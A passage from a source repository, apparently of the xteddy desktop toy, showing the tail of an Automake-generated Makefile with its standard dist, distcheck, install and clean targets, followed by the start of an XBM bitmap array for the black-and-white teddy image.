cscope.files: clean-cscope cscopelist 539 | cscopelist: cscopelist-am 540 | 541 | cscopelist-am: $(am__tagged_files) 542 | list='$(am__tagged_files)'; \ 543 | case "$(srcdir)" in \ 544 | [\\/]* | ?:[\\/]*) sdir="$(srcdir)" ;; \ 545 | *) sdir=$(subdir)/$(srcdir) ;; \ 546 | esac; \ 547 | for i in $$list; do \ 548 | if test -f "$$i"; then \ 549 | echo "$(subdir)/$$i"; \ 550 | else \ 551 | echo "$$sdir/$$i"; \ 552 | fi; \ 553 | done >> $(top_builddir)/cscope.files 554 | 555 | distclean-tags: 556 | -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags 557 | -rm -f cscope.out cscope.in.out cscope.po.out cscope.files 558 | 559 | distdir: $(DISTFILES) 560 | $(am__remove_distdir) 561 | test -d "$(distdir)" || mkdir "$(distdir)" 562 | @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ 563 | topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ 564 | list='$(DISTFILES)'; \ 565 | dist_files=`for file in $$list; do echo $$file; done | \ 566 | sed -e "s|^$$srcdirstrip/||;t" \ 567 | -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ 568 | case $$dist_files in \ 569 | */*) $(MKDIR_P) `echo "$$dist_files" | \ 570 | sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ 571 | sort -u` ;; \ 572 | esac; \ 573 | for file in $$dist_files; do \ 574 | if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ 575 | if test -d $$d/$$file; then \ 576 | dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ 577 | if test -d "$(distdir)/$$file"; then \ 578 | find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ 579 | fi; \ 580 | if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ 581 | cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ 582 | find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ 583 | fi; \ 584 | cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ 585 | else \ 586 | test -f "$(distdir)/$$file" \ 587 | || cp -p $$d/$$file "$(distdir)/$$file" \ 588 | || exit 1; \ 589 | fi; \ 590 | done 591 | -test -n "$(am__skip_mode_fix)" \ 592 | || find "$(distdir)" -type d ! -perm -755 \ 593 | -exec chmod u+rwx,go+rx {} \; -o \ 594 | ! -type d ! -perm -444 -links 1 -exec chmod a+r {} \; -o \ 595 | ! -type d ! -perm -400 -exec chmod a+r {} \; -o \ 596 | ! -type d ! -perm -444 -exec $(install_sh) -c -m a+r {} {} \; \ 597 | || chmod -R a+r "$(distdir)" 598 | dist-gzip: distdir 599 | tardir=$(distdir) && $(am__tar) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).tar.gz 600 | $(am__post_remove_distdir) 601 | 602 | dist-bzip2: distdir 603 | tardir=$(distdir) && $(am__tar) | BZIP2=$${BZIP2--9} bzip2 -c >$(distdir).tar.bz2 604 | $(am__post_remove_distdir) 605 | 606 | dist-lzip: distdir 607 | tardir=$(distdir) && $(am__tar) | lzip -c $${LZIP_OPT--9} >$(distdir).tar.lz 608 | $(am__post_remove_distdir) 609 | 610 | dist-xz: distdir 611 | tardir=$(distdir) && $(am__tar) | XZ_OPT=$${XZ_OPT--e} xz -c >$(distdir).tar.xz 612 | $(am__post_remove_distdir) 613 | 614 | dist-tarZ: distdir 615 | @echo WARNING: "Support for distribution archives compressed with" \ 616 | "legacy program 'compress' is deprecated." >&2 617 | @echo WARNING: "It will be removed altogether in Automake 2.0" >&2 618 | tardir=$(distdir) && $(am__tar) | compress -c >$(distdir).tar.Z 619 | $(am__post_remove_distdir) 620 | 621 | dist-shar: distdir 622 | @echo WARNING: "Support for shar distribution archives is" \ 623 | "deprecated." >&2 624 | @echo WARNING: "It will be removed altogether in Automake 2.0" >&2 625 | shar $(distdir) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).shar.gz 626 | $(am__post_remove_distdir) 627 | 628 | dist-zip: distdir 629 | -rm -f $(distdir).zip 630 | zip -rq $(distdir).zip $(distdir) 631 | $(am__post_remove_distdir) 632 | 633 | dist dist-all: 634 | $(MAKE) $(AM_MAKEFLAGS) $(DIST_TARGETS) am__post_remove_distdir='@:' 635 | $(am__post_remove_distdir) 636 | 637 | # This target untars the dist file and tries a VPATH configuration. Then 638 | # it guarantees that the distribution is self-contained by making another 639 | # tarfile. 640 | distcheck: dist 641 | case '$(DIST_ARCHIVES)' in \ 642 | *.tar.gz*) \ 643 | GZIP=$(GZIP_ENV) gzip -dc $(distdir).tar.gz | $(am__untar) ;;\ 644 | *.tar.bz2*) \ 645 | bzip2 -dc $(distdir).tar.bz2 | $(am__untar) ;;\ 646 | *.tar.lz*) \ 647 | lzip -dc $(distdir).tar.lz | $(am__untar) ;;\ 648 | *.tar.xz*) \ 649 | xz -dc $(distdir).tar.xz | $(am__untar) ;;\ 650 | *.tar.Z*) \ 651 | uncompress -c $(distdir).tar.Z | $(am__untar) ;;\ 652 | *.shar.gz*) \ 653 | GZIP=$(GZIP_ENV) gzip -dc $(distdir).shar.gz | unshar ;;\ 654 | *.zip*) \ 655 | unzip $(distdir).zip ;;\ 656 | esac 657 | chmod -R a-w $(distdir) 658 | chmod u+w $(distdir) 659 | mkdir $(distdir)/_build $(distdir)/_build/sub $(distdir)/_inst 660 | chmod a-w $(distdir) 661 | test -d $(distdir)/_build || exit 0; \ 662 | dc_install_base=`$(am__cd) $(distdir)/_inst && pwd | sed -e 's,^[^:\\/]:[\\/],/,'` \ 663 | && dc_destdir="$${TMPDIR-/tmp}/am-dc-$$$$/" \ 664 | && am__cwd=`pwd` \ 665 | && $(am__cd) $(distdir)/_build/sub \ 666 | && ../../configure \ 667 | $(AM_DISTCHECK_CONFIGURE_FLAGS) \ 668 | $(DISTCHECK_CONFIGURE_FLAGS) \ 669 | --srcdir=../.. --prefix="$$dc_install_base" \ 670 | && $(MAKE) $(AM_MAKEFLAGS) \ 671 | && $(MAKE) $(AM_MAKEFLAGS) dvi \ 672 | && $(MAKE) $(AM_MAKEFLAGS) check \ 673 | && $(MAKE) $(AM_MAKEFLAGS) install \ 674 | && $(MAKE) $(AM_MAKEFLAGS) installcheck \ 675 | && $(MAKE) $(AM_MAKEFLAGS) uninstall \ 676 | && $(MAKE) $(AM_MAKEFLAGS) distuninstallcheck_dir="$$dc_install_base" \ 677 | distuninstallcheck \ 678 | && chmod -R a-w "$$dc_install_base" \ 679 | && ({ \ 680 | (cd ../.. && umask 077 && mkdir "$$dc_destdir") \ 681 | && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" install \ 682 | && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" uninstall \ 683 | && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" \ 684 | distuninstallcheck_dir="$$dc_destdir" distuninstallcheck; \ 685 | } || { rm -rf "$$dc_destdir"; exit 1; }) \ 686 | && rm -rf "$$dc_destdir" \ 687 | && $(MAKE) $(AM_MAKEFLAGS) dist \ 688 | && rm -rf $(DIST_ARCHIVES) \ 689 | && $(MAKE) $(AM_MAKEFLAGS) distcleancheck \ 690 | && cd "$$am__cwd" \ 691 | || exit 1 692 | $(am__post_remove_distdir) 693 | @(echo "$(distdir) archives ready for distribution: "; \ 694 | list='$(DIST_ARCHIVES)'; for i in $$list; do echo $$i; done) | \ 695 | sed -e 1h -e 1s/./=/g -e 1p -e 1x -e '$$p' -e '$$x' 696 | distuninstallcheck: 697 | @test -n '$(distuninstallcheck_dir)' || { \ 698 | echo 'ERROR: trying to run $@ with an empty' \ 699 | '$$(distuninstallcheck_dir)' >&2; \ 700 | exit 1; \ 701 | }; \ 702 | $(am__cd) '$(distuninstallcheck_dir)' || { \ 703 | echo 'ERROR: cannot chdir into $(distuninstallcheck_dir)' >&2; \ 704 | exit 1; \ 705 | }; \ 706 | test `$(am__distuninstallcheck_listfiles) | wc -l` -eq 0 \ 707 | || { echo "ERROR: files left after uninstall:" ; \ 708 | if test -n "$(DESTDIR)"; then \ 709 | echo " (check DESTDIR support)"; \ 710 | fi ; \ 711 | $(distuninstallcheck_listfiles) ; \ 712 | exit 1; } >&2 713 | distcleancheck: distclean 714 | @if test '$(srcdir)' = . ; then \ 715 | echo "ERROR: distcleancheck can only run from a VPATH build" ; \ 716 | exit 1 ; \ 717 | fi 718 | @test `$(distcleancheck_listfiles) | wc -l` -eq 0 \ 719 | || { echo "ERROR: files left in build directory after distclean:" ; \ 720 | $(distcleancheck_listfiles) ; \ 721 | exit 1; } >&2 722 | check-am: all-am 723 | check: check-am 724 | all-am: Makefile $(PROGRAMS) $(MANS) $(DATA) 725 | installdirs: 726 | for dir in "$(DESTDIR)$(bindir)" "$(DESTDIR)$(man1dir)" "$(DESTDIR)$(pixmapdir)"; do \ 727 | test -z "$$dir" || $(MKDIR_P) "$$dir"; \ 728 | done 729 | install: install-am 730 | install-exec: install-exec-am 731 | install-data: install-data-am 732 | uninstall: uninstall-am 733 | 734 | install-am: all-am 735 | @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am 736 | 737 | installcheck: installcheck-am 738 | install-strip: 739 | if test -z '$(STRIP)'; then \ 740 | $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ 741 | install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ 742 | install; \ 743 | else \ 744 | $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ 745 | install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ 746 | "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ 747 | fi 748 | mostlyclean-generic: 749 | 750 | clean-generic: 751 | 752 | distclean-generic: 753 | -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) 754 | -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) 755 | 756 | maintainer-clean-generic: 757 | @echo "This command is intended for maintainers to use" 758 | @echo "it deletes files that may require special tools to rebuild." 759 | clean: clean-am 760 | 761 | clean-am: clean-binPROGRAMS clean-generic mostlyclean-am 762 | 763 | distclean: distclean-am 764 | -rm -f $(am__CONFIG_DISTCLEAN_FILES) 765 | -rm -rf ./$(DEPDIR) 766 | -rm -f Makefile 767 | distclean-am: clean-am distclean-compile distclean-generic \ 768 | distclean-tags 769 | 770 | dvi: dvi-am 771 | 772 | dvi-am: 773 | 774 | html: html-am 775 | 776 | html-am: 777 | 778 | info: info-am 779 | 780 | info-am: 781 | 782 | install-data-am: install-man install-pixmapDATA 783 | 784 | install-dvi: install-dvi-am 785 | 786 | install-dvi-am: 787 | 788 | install-exec-am: install-binPROGRAMS 789 | 790 | install-html: install-html-am 791 | 792 | install-html-am: 793 | 794 | install-info: install-info-am 795 | 796 | install-info-am: 797 | 798 | install-man: install-man1 799 | 800 | install-pdf: install-pdf-am 801 | 802 | install-pdf-am: 803 | 804 | install-ps: install-ps-am 805 | 806 | install-ps-am: 807 | 808 | installcheck-am: 809 | 810 | maintainer-clean: maintainer-clean-am 811 | -rm -f $(am__CONFIG_DISTCLEAN_FILES) 812 | -rm -rf $(top_srcdir)/autom4te.cache 813 | -rm -rf ./$(DEPDIR) 814 | -rm -f Makefile 815 | maintainer-clean-am: distclean-am maintainer-clean-generic 816 | 817 | mostlyclean: mostlyclean-am 818 | 819 | mostlyclean-am: mostlyclean-compile mostlyclean-generic 820 | 821 | pdf: pdf-am 822 | 823 | pdf-am: 824 | 825 | ps: ps-am 826 | 827 | ps-am: 828 | 829 | uninstall-am: uninstall-binPROGRAMS uninstall-man uninstall-pixmapDATA 830 | 831 | uninstall-man: uninstall-man1 832 | 833 | .MAKE: install-am install-strip 834 | 835 | .PHONY: CTAGS GTAGS TAGS all all-am am--refresh check check-am clean \ 836 | clean-binPROGRAMS clean-cscope clean-generic cscope \ 837 | cscopelist-am ctags ctags-am dist dist-all dist-bzip2 \ 838 | dist-gzip dist-lzip dist-shar dist-tarZ dist-xz dist-zip \ 839 | distcheck distclean distclean-compile distclean-generic \ 840 | distclean-tags distcleancheck distdir distuninstallcheck dvi \ 841 | dvi-am html html-am info info-am install install-am \ 842 | install-binPROGRAMS install-data install-data-am install-dvi \ 843 | install-dvi-am install-exec install-exec-am install-html \ 844 | install-html-am install-info install-info-am install-man \ 845 | install-man1 install-pdf install-pdf-am install-pixmapDATA \ 846 | install-ps install-ps-am install-strip installcheck \ 847 | installcheck-am installdirs maintainer-clean \ 848 | maintainer-clean-generic mostlyclean mostlyclean-compile \ 849 | mostlyclean-generic pdf pdf-am ps ps-am tags tags-am uninstall \ 850 | uninstall-am uninstall-binPROGRAMS uninstall-man \ 851 | uninstall-man1 uninstall-pixmapDATA 852 | 853 | .PRECIOUS: Makefile 854 | 855 | 856 | # Tell versions [3.59,3.63) of GNU make to not export all variables. 857 | # Otherwise a system limit (for SysV at least) may be exceeded. 858 | .NOEXPORT: 859 | -------------------------------------------------------------------------------- /pixmaps/xteddy_bw.xbm: -------------------------------------------------------------------------------- 1 | #define xteddy_bw_width 196 2 | #define xteddy_bw_height 253 3 | static unsigned char xteddy_bw_bits[] = { 4 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 5 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 6 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 7 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 8 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 9 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 10 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 11 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 12 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 13 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 14 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 15 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 16 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 17 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 18 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 19 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 20 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 21 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 22 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 23 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 24 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 25 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 26 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 27 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 28 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 29 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 30 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 31 | 0x00,0x04,0x09,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 32 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x4a,0x51,0x02,0x00,0x00, 33 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 34 | 0x00,0x00,0x00,0x00,0x28,0x91,0x8a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 35 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x52, 36 | 0x2a,0x35,0x11,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 37 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa9,0xa5,0x4a,0x21,0x00,0x00, 38 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 39 | 0x00,0x00,0x00,0x00,0x5a,0x55,0xbb,0x0a,0x00,0x00,0x00,0x04,0x00,0x00,0x00, 40 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x76, 41 | 0xd5,0x56,0x55,0x02,0x00,0x90,0x20,0x12,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 42 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0xad,0xbb,0x6d,0x25,0x20,0x00, 43 | 0x04,0x8a,0x80,0x04,0x02,0x00,0x50,0x0a,0x01,0x00,0x00,0x00,0x00,0x00,0x00, 44 | 0x00,0x00,0x00,0x80,0xfa,0xd6,0xda,0x8a,0x0a,0x90,0xa0,0x20,0x29,0x90,0x50, 45 | 0x00,0x8a,0x50,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa0,0xae, 46 | 0xff,0xb7,0x35,0x00,0x84,0x0a,0x95,0x44,0x01,0x00,0xa5,0x24,0x0b,0x82,0x00, 47 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xfd,0xab,0x7e,0x47,0xa5,0x20, 48 | 0x20,0x22,0x09,0x24,0x55,0x00,0x69,0xaa,0x54,0x02,0x00,0x00,0x00,0x00,0x00, 49 | 0x00,0x00,0x00,0x20,0x6b,0xff,0xd5,0x5a,0x02,0x80,0xca,0x14,0x52,0x81,0x20, 50 | 0x55,0xca,0x5a,0x95,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0xed, 51 | 0x6b,0xff,0x97,0x28,0x12,0x94,0xa2,0x08,0x12,0x4a,0x80,0xaa,0x55,0x55,0x15, 52 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0xbb,0xfe,0xab,0x3a,0x45,0xa0, 53 | 0xa2,0x94,0xa2,0xa4,0x90,0x2a,0xaa,0x6e,0x55,0x05,0x00,0x00,0x00,0x00,0x00, 54 | 0x00,0x00,0x00,0xc0,0xee,0x6d,0xff,0x57,0x10,0x09,0x54,0x25,0x09,0x49,0x25, 55 | 0x81,0xda,0xaa,0xbb,0x5b,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa0,0xfb, 56 | 0xff,0x5b,0xad,0x02,0xa0,0xa2,0xaa,0x52,0x92,0x52,0x2a,0xb4,0xed,0xee,0x56, 57 | 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x6f,0xfb,0xee,0x6b,0xa9,0x0a, 58 | 0x95,0x54,0x8a,0x54,0x94,0x00,0xad,0xba,0xfb,0xad,0x00,0x00,0x00,0x00,0x00, 59 | 0x00,0x00,0x00,0x40,0xfd,0xdf,0x7b,0x55,0x42,0x50,0x55,0xa5,0x52,0xa5,0xa5, 60 | 0x2a,0x52,0xf7,0xbf,0xb7,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa0,0xef, 61 | 0xff,0xfe,0xd6,0x14,0xa5,0xaa,0xaa,0x2a,0x49,0xaa,0x82,0x8a,0xac,0xee,0xbf, 62 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x7b,0xff,0xdf,0xaa,0x52,0x2a, 63 | 0x55,0xb5,0x4a,0xaa,0xaa,0x2a,0x12,0xfb,0xfb,0xed,0x01,0x00,0x00,0x00,0x00, 64 | 0x00,0x00,0x00,0xa0,0xfd,0xff,0xff,0xd6,0xaa,0xa8,0xaa,0x56,0x95,0xaa,0xaa, 65 | 0x4a,0x85,0xd4,0xfe,0x5f,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0xff, 66 | 0xff,0x7f,0xad,0x12,0x55,0x55,0xad,0xab,0xaa,0xaa,0x94,0x12,0xea,0xff,0xfb, 67 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa0,0xda,0xff,0xff,0x5b,0x55,0x55, 68 | 0x95,0x6a,0x55,0xa9,0xaa,0x52,0x84,0xe8,0xff,0xaf,0x01,0x00,0x00,0x00,0x00, 69 | 0x00,0x00,0x00,0x80,0xfe,0xfe,0x5f,0xf5,0x2a,0xa9,0xaa,0x9a,0x56,0x55,0x55, 70 | 0xad,0x12,0x6a,0xff,0x7e,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0xb5, 71 | 0xff,0xbf,0xaf,0x55,0xaa,0x52,0xd5,0xaa,0xaa,0xaa,0x52,0x04,0xe8,0xff,0xdf, 72 | 0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xee,0xff,0xd7,0x7a,0xab,0x54, 73 | 0x55,0xab,0x55,0x55,0xb5,0xad,0x89,0xaa,0xff,0xf7,0x01,0x00,0x00,0x00,0x00, 74 | 0x00,0x00,0x00,0x40,0xf5,0xff,0xff,0xd7,0x96,0xaa,0xaa,0xaa,0xaa,0xaa,0x56, 75 | 0xbb,0x12,0xd4,0xff,0xbf,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xfa, 76 | 0xfd,0x5b,0xfd,0x5b,0x55,0x55,0x5b,0x6d,0x55,0xed,0x6a,0x45,0xd1,0xff,0xef, 77 | 0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0xd6,0xff,0xef,0xaf,0x2e,0xb5, 78 | 0xaa,0xaa,0x5a,0xdb,0x5b,0xdf,0x2a,0x64,0xff,0x7d,0x09,0x00,0x00,0x00,0x00, 79 | 0x00,0x00,0x00,0x80,0xba,0xee,0x7b,0xfb,0x5b,0x55,0xd5,0xd6,0xd6,0x56,0xb6, 80 | 0xb5,0x0a,0xc8,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xea, 81 | 0xff,0xde,0xff,0xfe,0x6a,0xab,0xaa,0x55,0xd5,0xed,0xae,0x02,0x51,0xff,0x5f, 82 | 0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfd,0xfb,0xef,0xda,0x57,0x5d, 83 | 0xdd,0x56,0xdb,0xb6,0xb6,0x5b,0x29,0xa4,0xff,0xfe,0x0b,0x00,0x00,0x00,0x00, 84 | 0x00,0x00,0x00,0x40,0x56,0xff,0xbb,0x7f,0x7f,0xd3,0xb6,0x6d,0xb5,0xed,0x7d, 85 | 0x57,0x02,0xd2,0xff,0x77,0x0b,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfd, 86 | 0xfd,0xff,0xed,0xdb,0xb6,0x55,0xab,0x6b,0x5b,0xd7,0xdd,0xa4,0x08,0xdf,0xdf, 87 | 0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x69,0xff,0xb6,0xbf,0xff,0x6d, 88 | 0xef,0x5a,0xad,0xb6,0x7e,0xab,0x02,0x64,0x75,0xfb,0x07,0x00,0x00,0x00,0x00, 89 | 0x00,0x00,0x00,0x00,0xfa,0xff,0xdf,0xfd,0x6e,0xb5,0xb5,0xad,0xda,0xed,0xd5, 90 | 0xb7,0x08,0x92,0xde,0xdf,0x0a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd5, 91 | 0x6e,0x75,0xef,0xdf,0xdb,0x6e,0xdb,0xb7,0xaa,0x7f,0x2d,0x81,0x20,0xbb,0xf6, 92 | 0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe8,0xfb,0xdf,0x7d,0xfb,0xb6, 93 | 0xdd,0x36,0x55,0x5b,0xd5,0xaa,0x12,0x94,0xee,0x5d,0x0b,0x00,0x00,0x00,0x00, 94 | 0x00,0x00,0x00,0x00,0x5a,0xff,0x75,0xff,0xdf,0xad,0xb6,0x6d,0xdd,0xb6,0xbf, 95 | 0x55,0x00,0xa1,0x5a,0xf7,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0, 96 | 0xff,0xde,0xff,0x7f,0x77,0xdb,0xd6,0x6b,0xed,0x7a,0x95,0x12,0x8a,0xf6,0xae, 97 | 0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x44,0xbf,0x77,0xdb,0xee,0xaf, 98 | 0x77,0x7b,0xb5,0x5b,0xaf,0x2a,0x40,0x50,0xad,0xb5,0x01,0x00,0x00,0x00,0x00, 99 | 0x00,0x00,0x00,0x00,0xd0,0xed,0xdf,0xff,0xff,0xdd,0xda,0xad,0x6e,0xd5,0xbd, 100 | 0xa6,0x04,0x25,0x75,0x5b,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa0, 101 | 0xff,0x6a,0xb7,0xb7,0xbf,0x6d,0x6b,0xdb,0xae,0x57,0x09,0x41,0x48,0x6f,0x57, 102 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x76,0xdf,0xee,0xff,0x6f, 103 | 0xb7,0xd6,0xb6,0x75,0xad,0x2a,0x10,0xa2,0xb4,0xaa,0x02,0x00,0x00,0x00,0x00, 104 | 0x00,0x00,0x00,0x00,0xa0,0xfe,0xb5,0xfb,0xff,0xbd,0xdd,0xad,0xad,0xaa,0xdf, 105 | 0x52,0x00,0x49,0x6d,0x55,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80, 106 | 0xba,0x7b,0x7f,0x6d,0xef,0xbb,0xda,0xb6,0xfd,0x2a,0x89,0x42,0x10,0xd5,0x55, 107 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6d,0xad,0xed,0xff,0xbf, 108 | 0xf6,0xb5,0x6d,0xab,0x57,0x55,0x10,0xa5,0xba,0x2a,0x00,0x00,0x00,0x00,0x00, 109 | 0x00,0x00,0x00,0x00,0x40,0xda,0x77,0xbb,0xdb,0x76,0xad,0x6e,0xf7,0x76,0x6d, 110 | 0x95,0x40,0x54,0xd5,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 111 | 0xb5,0xda,0xee,0xfe,0xff,0x7b,0x2b,0xdd,0xed,0xab,0x2a,0x05,0x81,0xba,0x2a, 112 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc8,0xb7,0xbd,0xff,0x7f, 113 | 0xad,0x00,0xa0,0x5a,0x55,0x55,0x50,0x54,0xd6,0x02,0x00,0x00,0x00,0x00,0x00, 114 | 0x00,0x00,0x00,0x00,0x00,0x52,0x6d,0xeb,0xf7,0xff,0x1b,0x00,0x00,0xf7,0xea, 115 | 0x56,0x01,0x91,0x6c,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 116 | 0xe0,0xb6,0xbf,0xfe,0xe7,0x06,0x00,0x00,0xac,0xde,0xaf,0x24,0x22,0xdb,0x02, 117 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa0,0x7d,0xf5,0xff,0xf7, 118 | 0x0b,0x00,0x00,0x68,0xf5,0x5d,0x40,0x54,0x6d,0x00,0x00,0x00,0x00,0x00,0x00, 119 | 0x00,0x00,0x00,0x00,0x00,0x50,0xd7,0x5f,0xff,0xff,0x01,0x00,0x00,0xd0,0xfb, 120 | 0x57,0x09,0x81,0x9a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 121 | 0xa0,0x7d,0xed,0xfd,0xff,0x00,0x00,0x00,0x40,0xf6,0x5f,0x24,0x2a,0x15,0x00, 122 | 